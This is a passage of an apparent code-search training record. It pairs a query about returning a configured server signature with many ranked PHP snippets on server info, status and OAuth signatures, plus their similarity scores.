$server['status'] = $manager->status();\n $manager->disconnect();\n }\n catch (\\Exception $e) {\n $server['error'] = $this->serverErrorHandler($e, $server['name'], self::MANAGER_ERROR_DATA);\n }\n }\n\n return $server;\n }", "public function getInfo()\n {\n $this->conn->initialize();\n $json = $this->conn->getClient()->request(\"/{$this->name}/\")->getContent();\n $info = JSONEncoder::decode($json);\n\n return $info;\n }", "public function getServer(): ServerBag { return $this->server; }", "static function plInfo()\n {\n return array(\n 'plShortName' => _('Services'),\n 'plDescription' => _('Server services'),\n 'plSelfModify' => FALSE,\n 'plObjectType' => array('server'),\n 'plPrority' => 5,\n\n 'plProvidedAcls' => array()\n );\n }", "public function getServerStatus()\n {\n global $app_strings, $sugar_config;\n $isValid = false;\n $displayText = \"\";\n try {\n $response = $this->_client->request('', \\Elastica\\Request::GET);\n if ($response->isOk()) {\n $isValid = true;\n if (!empty($GLOBALS['app_strings'])) {\n $displayText = $app_strings['LBL_EMAIL_SUCCESS'];\n } else {\n //Fix a notice error during install when we verify the Elastic Search settings\n $displayText = 'Success';\n }\n } else {\n $displayText = $app_strings['ERR_ELASTIC_TEST_FAILED'];\n }\n } catch (Exception $e) {\n $this->reportException(\"Unable to get server status\", $e);\n $displayText = $e->getMessage();\n }\n return array('valid' => $isValid, 'status' => $displayText);\n }", "function info()\n\t{\n\t\treturn array();\n\t}", "protected function systemInfo()\n {\n $this->osname = php_uname('s');\n $this->hostname = php_uname('n');\n $this->osrelease = php_uname('r');\n $this->osversion = php_uname('v');\n $this->ostype = php_uname('m');\n }", "function drush_dslm_info() {\n // Bootstrap dslm, this grabs the instantiated and configured DSLM library object\n if (!$dslm = _dslm_bootstrap()) {\n return FALSE;\n }\n\n // Iterate through the cores array and print them out\n if (!$info = $dslm->siteInfo()) {\n return drush_set_error($dslm->lastError());\n }\n\n $out = \"Core: {$info['core']}\\n\";\n if(!empty($info['profiles'])) {\n $out .= \"Managed Profiles: \";\n foreach($info['profiles'] as $profile) {\n $out .= \"$profile \";\n }\n }\n\n // Render the display\n drush_log(trim($out), 'ok');\n return TRUE;\n}", "function serverTime() {\n\t\tdate_default_timezone_set('Europe/Oslo');\n\t\treturn \"Server time is: \".date(\"H:i:s\");\n\t}", "public function getInfos(){\n\t\treturn array(\n\t\t\t\"serviceDescription\" => \"This is the Comunic API Server.\",\n\t\t\t\"clientURL\" => \"https://communiquons.org/\",\n\t\t);\n\t}", "public function info()\n {\n return $this->info;\n }", "public function info()\n {\n return $this->info;\n }", "public function getServer();", "public function getServer();", "public static function allowServerInfo()\n\t{\n\t\treturn MHTTPD::$config['Admin']['allow_server_info'];\n\t}", "function do_server_info()\n{\n global $datasets; // from require_once \"../analysis/common/functions.php\"\n\n if (!isset($datasets)) {\n $datasets = []; // database tables not yet initialized\n }\n\n $server_roles = unserialize(CAPTUREROLES);\n\n $response_mediatype = choose_mediatype(['application/json', 'text/html',\n 'text/plain']);\n\n switch ($response_mediatype) {\n case 'application/json':\n $obj = array( 'roles' => $server_roles );\n respond_with_json($obj);\n // respond_with_json(array_keys($datasets));\n break;\n case 'text/html':\n html_begin(\"Server information\", [[\"Server information\"]]);\n\n if (count($server_roles) == 0) {\n echo \" <p>This TCAT instance is currently not tracking anything.</p>\\n\";\n } else {\n echo \" <p>Tracking roles:</p>\\n\";\n echo \" <ul>\\n\";\n\n foreach ($server_roles as $role) {\n echo \"<li>$role</li>\\n\";\n }\n\n echo \" </ul>\\n\";\n }\n\n html_end();\n break;\n\n case 'text/plain':\n default:\n print \"SERVER ROLES: \";\n if (count($server_roles) == 0) {\n print \"none\";\n } else {\n foreach ($server_roles as $role) {\n print($role . \" \");\n }\n }\n print \"\\n\";\n break;\n }\n}", "public static function getServerCoreAccess() {\n return [ HOST => self::$__server_CORE_Host,\n PORT => self::$__server_CORE_Port,\n NAME => self::$__server_CORE_Name,\n USER => self::$__server_CORE_User,\n PASS => self::$__server_CORE_Pass ];\n }", "function gethwinfo () {\n\t\t$ret[cpu] = server::cpu_info();\n\t\t$ret[mem] = round(server::mem_total() / 1024);\n\t\treturn $ret;\n\t\t\n\t}", "public function getInfo() {}", "public function getInfo() {}", "public function server_data()\n\t{\n\t\t$serialized_selected_app = Hop_new_relic_settings_helper::get_setting('nr_selected_app');\n\t\t$api_key = Hop_new_relic_settings_helper::get_setting('nr_api_key');\n\t\tif ($serialized_selected_app != null && $api_key != null)\n\t\t{\n\t\t\t$selected_app = unserialize($serialized_selected_app);\n\n\t\t\t$server_summary = ee()->cache->get('/'.HOP_NEW_RELIC_NAME.'/server_sum_'.$selected_app->id.'_'.$this->cache_ttl);\n\t\t\tif(!$server_summary)\n\t\t\t{\n\t\t\t\t$new_relic_api = new New_Relic_Api($api_key);\n\t\t\t\t$server_summary = $new_relic_api->get_server_summary($selected_app->links->servers[0]);\n\n\t\t\t\tee()->cache->save('/'.HOP_NEW_RELIC_NAME.'/server_sum_'.$selected_app->id.'_'.$this->cache_ttl, $server_summary, $this->cache_ttl);\n\t\t\t}\n\n\t\t\tif ($server_summary != null && !isset($server_summary->error))\n\t\t\t{\n\n\t\t\t\t$text = '<span>'.$server_summary->summary->cpu.' cpu%';\n\t\t\t\tif($server_summary->summary->cpu_stolen > 0)\n\t\t\t\t{\n\t\t\t\t\t$text .= ' ('.$server->summary->cpu_stolen.' cpu stolen%)';\n\t\t\t\t}\n\t\t\t\t$text .= '</span> <span>'.$server_summary->summary->memory.' mem%';\n\n\t\t\t\tif (isset($server_summary->summary->memory_used) && isset($server_summary->summary->memory_total))\n\t\t\t\t{\n\t\t\t\t\t$text .= ' ('.Hop_new_relic_settings_helper::format_bytes($server_summary->summary->memory_used, 0).'/'.Hop_new_relic_settings_helper::format_bytes($server_summary->summary->memory_total, 0).')';\n\t\t\t\t}\n\n\t\t\t\t$text .= '</span> <span>'.$server_summary->summary->fullest_disk.' disk%</span>';\n\t\t\t\treturn $text;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn \"\";\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn \"\";\n\t\t}\n\t}", "static function ServerName ()\n\t\t{\n\t\t\treturn isset ($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : '';\n\t\t}", "public function getInfo()\n\t{\n\t\treturn $this->info;\n\t}", "public function getInfo()\n\t{\n\t\treturn $this->info;\n\t}", "public function info() {\n\t\t\n\t\t$data = array(\n\t\t\t'Driver'\t\t\t=> 'DRIVER_NAME',\n\t\t\t'Client version'\t=> 'CLIENT_VERSION',\n\t\t\t'Server version'\t=> 'SERVER_VERSION',\n\t\t\t'Connection'\t\t=> 'CONNECTION_STATUS'\n\t\t);\n\n\t\tforeach ($data as $key => $value) {\n\t\t\t\n\t\t\t$info[$key] = $this->pdo->getAttribute(constant('PDO::ATTR_' . $value));\n\t\t\t\n\t\t}\n\n\t\treturn $info;\n\t\t\n\t}", "public function getInfo ()\n {\n return $this->info;\n }", "public function getInfo()\n {\n return $this->info;\n }" ]
[ "0.80710644", "0.7843614", "0.7798012", "0.76615924", "0.74010676", "0.73654026", "0.73238313", "0.7108589", "0.7074376", "0.69735265", "0.6858886", "0.6841407", "0.6835843", "0.67990357", "0.6692915", "0.6671211", "0.6608836", "0.66002417", "0.6567629", "0.6436016", "0.64224136", "0.64188343", "0.64156735", "0.64131594", "0.6407982", "0.6389282", "0.6371999", "0.63575643", "0.63333774", "0.6322901", "0.6322901", "0.6315124", "0.63096637", "0.62839454", "0.6281622", "0.6252271", "0.62142825", "0.62118894", "0.6206205", "0.6192139", "0.6189946", "0.6189946", "0.6189946", "0.6189946", "0.6189946", "0.6183959", "0.61681753", "0.61681753", "0.6154222", "0.6094699", "0.60909235", "0.6039206", "0.60125226", "0.5997883", "0.5991696", "0.5984354", "0.5983624", "0.59616715", "0.5955871", "0.5952258", "0.5950868", "0.59502643", "0.5949513", "0.59454453", "0.5924936", "0.5900504", "0.58921134", "0.5886745", "0.58805865", "0.58760345", "0.58751464", "0.58731884", "0.5865572", "0.58598566", "0.5859069", "0.5849586", "0.5832898", "0.58315927", "0.5831293", "0.58179176", "0.5798922", "0.5783969", "0.5780447", "0.5767854", "0.5767854", "0.57392085", "0.57392085", "0.57349825", "0.57248926", "0.57128793", "0.5692663", "0.56767476", "0.56767476", "0.5673031", "0.56699866", "0.5664191", "0.5664191", "0.5644149", "0.56336194", "0.56331223" ]
0.6934539
10
Returns the configured server signature for displaying on pages.
public static function getSignature() { return MHTTPD::$info['signature']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSignature() {\n $headers = $this->getHeaders();\n foreach ($headers as $key => $value) {\n if (strtolower($key) === 'x-hub-signature') {\n return $value;\n }\n }\n return '';\n }", "public function getSignature(): string\n {\n return $this->signature;\n }", "public function getSignature(): string\n {\n return $this->signature;\n }", "public function getSignature() : string\n {\n return $this->signature;\n }", "public function getStringForResponseSignature()\r\n\t{\r\n\t\treturn $this->headers[SONIC_HEADER__TARGET_API]\r\n\t\t\t\t. $this->headers[SONIC_HEADER__DATE]\r\n\t\t\t\t. $this->headers[SONIC_HEADER__PLATFORM_GID]\r\n\t\t\t\t. $this->headers[SONIC_HEADER__SOURCE_GID]\r\n\t\t\t\t. $this->headers[SONIC_HEADER__RANDOM]\r\n\t\t\t\t. $this->body;\r\n\t}", "public function showSignature()\n {\n return $this->view->make('welcome');\n }", "public function getSignature();", "function signature()\r\n\t{\r\n\t\tglobal $ibforums, $std, $print;\r\n\r\n\t\t$t_sig = $this->parser->unconvert($this->member['signature'], $ibforums->vars['sig_allow_ibc'], $ibforums->vars['sig_allow_html']);\r\n\r\n\t\t$ibforums->lang['the_max_length'] = $ibforums->vars['max_sig_length']\r\n\t\t\t? $ibforums->vars['max_sig_length']\r\n\t\t\t: 0;\r\n\r\n\t\t$data = array(\r\n\t\t\t'TEXT' => $this->member['signature'],\r\n\t\t\t'SMILIES' => 1,\r\n\t\t\t'CODE' => 1,\r\n\t\t\t'SIGNATURE' => 0,\r\n\t\t\t'HTML' => $ibforums->vars['sig_allow_html'],\r\n\t\t);\r\n\r\n\t\t$this->member['signature'] = $this->parser->prepare($data);\r\n\r\n\t\tif ($ibforums->vars['sig_allow_html'] == 1)\r\n\t\t{\r\n\t\t\t$this->member['signature'] = $this->parser->parse_html($this->member['signature'], 0);\r\n\t\t}\r\n\r\n\t\t$this->output .= View::make(\r\n\t\t\t\"ucp.signature\",\r\n\t\t\t[\r\n\t\t\t\t'sig' => $this->member['signature'],\r\n\t\t\t\t't_sig' => $t_sig,\r\n\t\t\t\t'key' => $std->return_md5_check(),\r\n\t\t\t\t'select_syntax' => $std->code_tag_button()\r\n\t\t\t]\r\n\t\t);\r\n\r\n\t\t$this->page_title = $ibforums->lang['t_welcome'];\r\n\t\t$this->nav = array(\"<a href='\" . $this->base_url . \"act=UserCP&amp;CODE=00'>\" . $ibforums->lang['t_title'] . \"</a>\");\r\n\r\n\t}", "private function getSignature(): string {\r\n return base64_encode(hash_hmac(\"sha1\", $this->buildSigningBase(), $this->buildSigningKey(), true));\r\n }", "public function getSignature() : string\n {\n\n return $this->httpMethod . ':' . $this->uri;\n }", "public static function getSignature()\n {\n return ':meta';\n }", "public function getSignature()\n {\n return $this->signature;\n }", "public function getSignature()\n {\n return $this->signature;\n }", "public function getSignature()\n {\n return $this->signature;\n }", "public function getSignature()\n {\n return $this->signature;\n }", "public function getSignature()\n {\n return $this->signature;\n }", "function getSignature()\n {\n return $this->_signature;\n }", "protected function getServer(string $signature): string\n {\n if (\n preg_match(\n '/(apache\\/\\d+\\.\\d+)|(nginx\\/\\d+\\.\\d+)|(iis\\/\\d+\\.\\d+)'\n . '|(lighttpd\\/\\d+\\.\\d+)/i',\n $signature,\n $matches\n )\n ) {\n return $matches[0];\n }\n\n return 'UNKNOWN';\n }", "public function getSignature(): string\n {\n return $this->getName();\n }", "public static function signature($includeIncludedFiles = null) {\n\t\tif ($includeIncludedFiles == null) {\n\t\t\t$includeIncludedFiles = false;\n\t\t}\n\n\t\t$signature = sprintf(\"server: %s (%s)\\n\", static::serverIp(), static::hostName());\n\n\t\tif (PHP_SAPI != 'cli') {\n\t\t\t$signature .= 'URI: ' . $_SERVER['REQUEST_METHOD'] . '=' . Application::getConfig('application', 'site_url') . Application::getUri() . \"\\n\";\n\t\t\t$signature .= sprintf(\"User IP: %s (%s)%s\", static::ip(), static::host(), (static::hasProxy() ? sprintf(\" via %s for %s\\n\", static::proxySignature(), static::httpXForwardedFor()) : \"\\n\"));\n\t\t\t$signature .= sprintf(\"UAS: %s\\n\", (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'no user agent set'));\n\t\t} else {\n\t\t\t$signature .= 'CLI Name: ' . Application::getCliName() . \"\\n\";\n\t\t\t$signature .= 'CLI Script: ' . Application::getCliScript() . \"\\n\";\n\n\t\t\t$params = Cli::getParameters();\n\t\t\tif (count($params) > 0) {\n\t\t\t\t$signature .= 'CLI Params: ' . print_r($params, true) . \"\\n\";\n\t\t\t}\n\t\t}\n\n\t\t$signature .= sprintf(\"Server load: %s\\n\", Server::getServerLoad());\n\n\t\t$peak = memory_get_peak_usage(true);\n\t\t$memoryLimit = ini_get('memory_limit');\n\n\t\t$signature .= sprintf(\"Memory: %s; peak: %s; limit: %s; spent: %s%%\\n\",\n\t\t\tConvert::bytesToString(memory_get_usage(true)),\n\t\t\tConvert::bytesToString($peak),\n\t\t\t$memoryLimit,\n\t\t\t($memoryLimit !== false && $memoryLimit > 0 ? round($peak * 100 / Convert::stringToBytes($memoryLimit), 2) : 'null')\n\t\t);\n\n\t\tif ($includeIncludedFiles) {\n\t\t\t$signature .= sprintf(\"included files: %s\\n\", print_r(get_included_files(), true));\n\t\t}\n\n\t\treturn $signature;\n\t}", "public function getSignature() {\n\t\treturn $this->signature;\n\t}", "public function getSignedUrl(): string\n {\n $query = base64_encode(json_encode($this->buildQuery()));\n $signature = hash_hmac('sha256', $this->templateId . $query, $this->token);\n\n return $this->signedUrlBase . $this->templateId . '.png?' . http_build_query(['s' => $signature, 'v' => $query]);\n }", "public function getSignature()\n {\n $headers = $this->getHeaders();\n return isset($headers['X-Hub-Signature']) ? $headers['X-Hub-Signature'] : null;\n }", "public function getSignatureType(): string\n {\n return $this->type->getSignatureType();\n }", "public function setSignature()\n {\n \t$options = array('user_id' => $this->user_id,\n \t 'profile_key' => 'sig'\n \t );\n $result = DatabaseObject_UserProfile::getUserProfileData($this->_db, $options);\n \t\n \tif (!$result) {\n \t return \"\";\n \t}\n \t \n \treturn $this->signature = html_entity_decode($result);\n }", "private function getSignature()\n\t{\n\t\t$string_to_sign = mb_convert_encoding(\n\t\t\t$this->http_verb . $this->uri . $this->timestamp . $this->nonce,\n\t\t\t'UTF-8'\n\t\t);\n\t\treturn base64_encode(\n\t\t\thash_hmac(\n\t\t\t\t'sha1',\n\t\t\t\t$string_to_sign,\n\t\t\t\t$this->secret,\n\t\t\t\ttrue\n\t\t\t)\n\t\t);\n\t}", "function getAuthSignature()\n {\n return $this->_authSignature;\n }", "public function customize_preview_signature()\n {\n }", "public function getHeaderSignature()\r\n\t{\r\n\t\treturn $this->headers[SONIC_HEADER__SIGNATURE];\r\n\t}", "private function get_signature_image_options() {\n\t\t$width = $this->get_signature_image_width();\n\t\t$height = $this->get_signature_image_height();\n\n\t\t$options = array( 'bgColour' => 'transparent' );\n\n\t\tif ( is_numeric( $height ) ) {\n\t\t\t$options['imageSize'] = array( (int) $width, (int) $height );\n\t\t\t$options['drawMultiplier'] = apply_filters( 'frm_sig_multiplier', 5, $this->field );\n\t\t}\n\n\t\treturn apply_filters( 'frm_sig_output_options', $options, array( 'field' => $this->field ) );\n\t}", "private function signature(){\n\t\t\tif($this->get_request_method() != \"POST\"){\n\t\t\t\t$this->response('',406);\n\t\t\t}\t\t\t\n\t\t\t$first_name = $this->_request['first_name'];\t\t\n\t\t\t$last_name = $this->_request['last_name'];\t\n\t\t\t$data = $this->_request['data'];\n\t\t\t$current_datetime = new DateTime(); \n\t\t\t$sig_name = strtolower(preg_replace(\"/[\\W\\s+]/\",\"\", $first_name.'_'.$last_name.'_'.$current_datetime->format('Y-m-d_His')));\n\t\t\t$signature = base64_decode(str_replace(\"data:image/png;base64,\",\"\",$data));\n\t\t\t$result=file_put_contents(\"../signatures/\".$sig_name.\".png\",$signature);\t\n\t\t\tif($result){\n\t\t\t\t $this->response($sig_name.'.png', 200);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// If invalid inputs \"Bad Request\" status message and reason\n\t\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Signature Failed\");\n\t\t\t\t$this->response($this->json($error), 400);\t\t\t\t\t\t\n\t\t\t}\t\t\n\t\t}", "function cache_signature(&$page) {\n\tif (!isset($GLOBALS['meta']['cache_signature'])){\n\t\tinclude_spip('inc/acces');\n\t\tinclude_spip('auth/sha256.inc');\n\t\t$sigfunc = function_exists('_nano_sha256') ? '_nano_sha256' : 'md5';\n\t\tecrire_meta('cache_signature', $sigfunc($_SERVER[\"DOCUMENT_ROOT\"] . $_SERVER[\"SERVER_SIGNATURE\"] . creer_uniqid()), 'non');\n\t}\n\treturn crc32($GLOBALS['meta']['cache_signature'].$page['texte']);\n}", "public function getSignatureHeader()\n {\n return $this->signature_header;\n }", "public function getServer() {\n\t\treturn (string) $this->photo['server'];\n\t}", "public static function sdkAnalyticsSignature()\n {\n if (empty(static::$signature)) {\n // Lazily create $signature\n try {\n static::$signature = static::ALGO_VERSION . static::$product . static::$sdkCode .\n static::encodeVersion(static::$sdkVersion) .\n static::encodeVersion(static::$techVersion);\n } catch (OutOfRangeException $e) {\n static::$signature = 'E';\n }\n }\n\n return static::$signature;\n }", "public function getSignature()\n {\n $signString= sprintf(\"%s\\n%s\\n%s\\n%d\", $this->topic, $this->consumerId, $this->message->getMessageHandle(), $this->time);\n return base64_encode(hash_hmac('sha1', $signString, $this->getAuthorization()->getAccessSecret(), true));\n }", "function signature()\r\n\t{\r\n\t\t$feelings = array(\r\n\t\t\t'Happy', 'Excited', 'Tired', 'Annoyed',\r\n\t\t\t'Scarstic', 'Blessed', 'Confused', 'Angry',\r\n\t\t\t'Bored', 'Sick', 'Awesome', 'Sleepy',\r\n\t\t\t'Guilty', 'Amused', 'Exhausted', 'Hopeful',\r\n\t\t\t'Alone', 'Tough', 'Lost', 'Relaxed',\r\n\t\t\t'Depressed', 'Accomplished', 'Curious',\r\n\t\t\t'Lost', 'Ignorant', 'Proud', 'Crawly',\r\n\t\t\t'Drunk', 'Wasted', 'Fresh', 'Stupid',\r\n\t\t\t'Lovely', 'Busy', 'Disappointed', 'Hungry',\r\n\t\t\t'Fool', 'Poor', 'Wealthy', 'Bossy', 'Cold',\r\n\t\t);\r\n\r\n\t\treturn '— ' . $feelings[array_rand($feelings)] . ' Crawler Agent あ';\r\n\t}", "public function getSignatureParameters()\n {\n return $this->signatureParameters;\n }", "public function getSignature()\n {\n $input = $this->getArgs();\n\n $str = \"\";\n foreach ($input as $key => $val) {\n $str .= $key . \"=\" . $val . \"&\";\n }\n\n $str .= \"password=\" . $this->config->password;\n return $this->hashFunction($str);\n }", "public function getSignaturePrenom() {\n return $this->signaturePrenom;\n }", "public function smsSignature()\n\t{\n\t\n\t\t$this->Checklogin();\n\t\tsetAActivityLogs('Transaction_activity','AAsmssignature_view');\n\t\t$data ['resultSignature']=$this->setting_model->getAllsignature();\n\t\t$data ['include']='admin/setting/smssignature';\n\t\t$data ['admin_section']='manage_signature';\n\t\t$this->load->view('backend/container',$data);\n\t\n\t}", "public function getSignatureQualite() {\n return $this->signatureQualite;\n }", "public function getSignatureQualite() {\n return $this->signatureQualite;\n }", "function post_signature($content){\n\t\t\t\t\t\t\t\t\tglobal $post;\n\t\t\t\t\t\t\t\t\t$options = get_option('adminPage-group');\n\t\t\t\t\t\t\t\t\tif ( (($post->post_type == 'page') && $options['pages']) || (($post->post_type == 'post') && $options['posts']) )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$author_id = $post->post_author;\n\t\t\t\t\t\t\t\t\t\t$author = get_userdata($author_id);\n\t\t\t\t\t\t\t\t\t\t$sig = '<p class=\"my-signature\">&mdash; '.$author->display_name.'</p>';\n\n\t\t\t\t\t\t\t\t\t\t$tagSign = 'author_' . $author_id;\n\t\t\t\t\t\t\t\t\t\t$strXML = utf8_encode( base64_decode( $options['signatures'] ) );\n\t\t\t\t\t\t\t\t\t\t$xmlSign = new SimpleXMLElement( $strXML );\n\t\t\t\t\t\t\t\t\t\t$contentSign = $xmlSign->{$tagSign};\n\t\t\t\t\t\t\t\t\t\tif (!isset($contentSign) || trim($contentSign)=='') {\n\t\t\t\t\t\t\t\t\t\t\t$contentSign = $sig;\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif (($post->post_type == 'page') && $options['pages'])\n\t\t\t\t\t\t\t\t\t\t\t$content .= $contentSign;\n\t\t\t\t\t\t\t\t\t\tif (($post->post_type == 'post') && $options['posts'])\n\t\t\t\t\t\t\t\t\t\t\t$content .= $contentSign;\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\treturn $content;\n\t\t\t\t\t}", "public function getSignatureDate() {\n return $this->signatureDate;\n }", "public function getSignatureDate() {\n return $this->signatureDate;\n }", "public function getSignatureKey(): ?string\n {\n return $this->signatureKey;\n }", "public function getAwsSignature()\n {\n return $this->awsSignature;\n }", "public function getReturnPathServer()\n\t{\n\t\treturn $this->return_path_server;\n\t}", "public function signature() {\r\n\t\t$signature = \"\";\r\n\t\tif ($this->isFinal) {\r\n\t\t\t$signature .= \"final \";\r\n\t\t}\r\n\t\t\r\n\t\tif ($this->isPublic) {\r\n\t\t\t$signature .= \"public \";\r\n\t\t}\r\n\t\telseif ($this->isPrivate) {\r\n\t\t\t$signature .= \"private \";\r\n\t\t}\r\n\t\telseif ($this->isProtected) {\r\n\t\t\t$signature .= \"protected \";\r\n\t\t}\r\n\t\t\r\n\t\tif ($this->isStatic) {\r\n\t\t\t$signature .= \"static \";\r\n\t\t}\r\n\t\t$signature .= \"function \".$this->name.\" \";\r\n\t\t$signature .= \"(\";\r\n\t\t$params = array();\r\n\t\tforeach($this->parameters as $parameter) {\r\n\t\t\t$params[] = $parameter->signature();\r\n\t\t}\r\n\t\t$signature .= implode(\", \",$params);\r\n\t\t$signature .= \")\";\r\n\t\treturn $signature;\r\n\t}", "public function getSignatureKeyId()\n {\n return $this->signature_key_id;\n }", "public function getSignature() {\n\t\treturn md5(get_class($this));\n\t}", "public static function getSignature()\n {\n return ':originalData';\n }", "public function getsef()\n\t{\n\t\techo JRoute::_(base64_decode($this->input->getBase64('parseurl')));\n\n\t\tJFactory::getApplication()->close();\n\t}", "public function get_signature_base_string()\n {\n $parts = array(\n $this->get_normalized_http_method(),\n $this->get_normalized_http_url(),\n $this->get_signable_parameters()\n );\n\n $parts = OAuthUtil::urlencode_rfc3986($parts);\n\n return implode('&', $parts);\n }", "public function get_signature_base_string() {\n\t\t$parts = \\OAuthSignature::urlencode_rfc3986( array(\n\t\t\t$this->get_normalized_http_method(),\n\t\t\t$this->get_normalized_http_url(),\n\t\t\t$this->get_signable_parameters(),\n\t\t) );\n\n\t\treturn implode( '&', $parts );\n\t}", "public function getSignatureNom() {\n return $this->signatureNom;\n }", "public function getSignatureNom() {\n return $this->signatureNom;\n }", "function getBrowserFingerprint() {\n logEvent('getBrowserFingerprint');\n $client_ip = getClientIp();\n $useragent = $_SERVER['HTTP_USER_AGENT'];\n $accept = $_SERVER['HTTP_ACCEPT'];\n $charset = $_SERVER['HTTP_ACCEPT_CHARSET'];\n $encoding = $_SERVER['HTTP_ACCEPT_ENCODING'];\n $language = $_SERVER['HTTP_ACCEPT_LANGUAGE'];\n $data = '';\n $data .= $client_ip;\n $data .= $useragent;\n $data .= $accept;\n $data .= $charset;\n $data .= $encoding;\n $data .= $language;\n /* Apply SHA256 hash to the browser fingerprint */\n $hash = hash('sha256', $data);\n return $hash;\n }", "private static function generateSignature() {\n $result = microtime(true);\n return substr($result, -7);\n }", "public function display_option_server_key() {\n $server_key = $this->options['server_key'];\n $this->display_input_text_field('server_key', $server_key);\n?>\nThe secret key that clients must use to clear the cache on this blog, passed in the <code><?php esc_attr_e($this->plugin->query_var()); ?></code> parameter.\n<?php\n }", "public function get_signature_base_string() {\n $parts = array(\n $this->get_normalized_http_method(),\n $this->get_normalized_http_url(),\n $this->get_signable_parameters()\n );\n\n $parts = OAuthUtil::urlencode_rfc3986($parts);\n\n return implode('&', $parts);\n }", "protected function getSignatureCertificateUrl()\n\t{\n\t\t$url_string = $this->request->header($this->config['cert_chain_url_header'], null);\n\n\t\tif (is_null($url_string) || $url_string === '') {\n\t\t\tthrow new AlexaVerificationException('Request signature verification failed: no URL specified.');\n\t\t}\n\n\t\treturn new URL($url_string);\n\t}", "public function getSignatureQualiteCode() {\n return $this->signatureQualiteCode;\n }", "public function getUserSignature(): ?string;", "public function getEnforceSignatureCheck()\n {\n if (array_key_exists(\"enforceSignatureCheck\", $this->_propDict)) {\n return $this->_propDict[\"enforceSignatureCheck\"];\n } else {\n return null;\n }\n }", "public function getEnforceSignatureCheck()\n {\n if (array_key_exists(\"enforceSignatureCheck\", $this->_propDict)) {\n return $this->_propDict[\"enforceSignatureCheck\"];\n } else {\n return null;\n }\n }", "public function getSignatureAlgorithm()\n {\n return $this->signature_algorithm;\n }", "public function getSigner()\n {\n if (array_key_exists(\"signer\", $this->_propDict)) {\n return $this->_propDict[\"signer\"];\n } else {\n return null;\n }\n }", "public function getSigner()\n {\n return $this->get(self::SIGNER);\n }", "private function buildSigningBase(): string {\r\n $parameterString = http_build_query($this->clientParams);\r\n return \"$this->httpMethod&\" . urlencode($this->host . $this->endpoint) . \"&\" . urlencode($parameterString);\r\n }", "protected function getSignatureFromRequest()\n\t{\n\t\t$signature = $this->request->header($this->config['signature_header'], null);\n\n\t\tif (is_null($signature) || $signature === '') {\n\t\t\tthrow new AlexaVerificationException('Request signature verification failed: no signature present in header.');\n\t\t}\n\n\t\treturn base64_decode($signature);\n\t}", "public function getSignatureVille() {\n return $this->signatureVille;\n }", "public function getSignatureVille() {\n return $this->signatureVille;\n }", "public function get_signable_parameters() {\n\t\t// Grab all parameters\n\t\t$params = $this->params;\n\n\t\t// Remove oauth_signature if present\n\t\t// Ref: Spec: 9.1.1 (\"The oauth_signature parameter MUST be excluded.\")\n\t\tif ( isset( $params[ static::prefix . 'signature' ] ) ) {\n\t\t\tunset( $params[ static::prefix . 'signature' ] );\n\t\t}\n\n\t\treturn \\OAuthSignature::build_http_query( $params );\n\t}", "protected function server()\n {\n return shadowfax('server');\n }", "public function getAmavisServerRepresentation() : string {\n return \"$this->name \" . $this->getAmavisServerEmailRepresentation();\n }", "public static function getServerLoginURL() \n\t{\n\t\tacPhpCas::setReporting();\n\t\treturn phpCAS::getServerLoginURL();\t\t\n\t}", "public function getSig()\n {\n return $this->sig;\n }", "public function fingerprint(ServerRequestInterface $request): string;", "function sign()\r\n {\r\n return $this->Sign;\r\n }", "private function get_signature_method(&$request) {\n $signature_method =\n @$request->get_parameter(\"oauth_signature_method\");\n\n if (!$signature_method) {\n // According to chapter 7 (\"Accessing Protected Ressources\") the signature-method\n // parameter is required, and we can't just fallback to PLAINTEXT\n throw new OAuthException('No signature method parameter. This parameter is required');\n }\n\n if (!in_array($signature_method,\n array_keys($this->signature_methods))) {\n throw new OAuthException(\n \"Signature method '$signature_method' not supported \" .\n \"try one of the following: \" .\n implode(\", \", array_keys($this->signature_methods))\n );\n }\n return $this->signature_methods[$signature_method];\n }", "public function display_site_verification() {\n\t\t$google_verification = get_option( 'wsuwp_google_verify', false );\n\t\t$bing_verification = get_option( 'wsuwp_bing_verify', false );\n\t\t$facebook_verification = get_option( 'wsuwp_facebook_verify', false );\n\n\t\tif ( $google_verification ) {\n\t\t\techo '<meta name=\"google-site-verification\" content=\"' . esc_attr( $google_verification ) . '\">' . \"\\n\";\n\t\t}\n\n\t\tif ( $bing_verification ) {\n\t\t\techo '<meta name=\"msvalidate.01\" content=\"' . esc_attr( $bing_verification ) . '\" />' . \"\\n\";\n\t\t}\n\n\t\tif ( $facebook_verification ) {\n\t\t\techo '<meta name=\"facebook-domain-verification\" content=\"' . esc_attr( $facebook_verification ) . '\" />' . \"\\n\";\n\t\t}\n\t}", "public function get_info()\n\t\t{\n\t\t\treturn array(\n\t\t\t\t'name'=>'SecureTrading Xpay',\n\t\t\t\t'description'=>'SecureTrading payment method with payment page hosted on your server.'\n\t\t\t);\n\t\t}", "public function getSignatureBaseString()\n {\n $parts = array(\n $this->getNormalizedHttpMethod(),\n $this->getNormalizedHttpUrl(),\n $this->getSignableParameters()\n );\n\n $parts = Utils::urlencodeRfc3986($parts);\n\n return implode('&', $parts);\n }", "private function get_signature_image_width() {\n\t\t$width = FrmField::get_option( $this->field, 'size' );\n\t\treturn $this->get_signature_image_dimension( $width, 'size' );\n\t}", "public function getSignSecretKey() : string;", "private function generateFingerprint()\n\t{\n\t\tif (true === empty($this->fingerprintHash)) {\n\t\t\treturn $this->fingerprintHash;\n\t\t}\n\n\t\t$finHash = '';\n\t\t$sigData = array();\n\n\t\t$serverVariables = array(\n\t\t\t\t'server_software',\n\t\t\t\t'server_name',\n\t\t\t\t'server_addr',\n\t\t\t\t'server_port',\n\t\t\t\t'document_root',\n\t\t);\n\n\t\tforeach ($_SERVER as $k => $v) {\n\t\t\tif (in_array(strtolower($k), $serverVariables)) {\n\t\t\t\t$sigData[] = 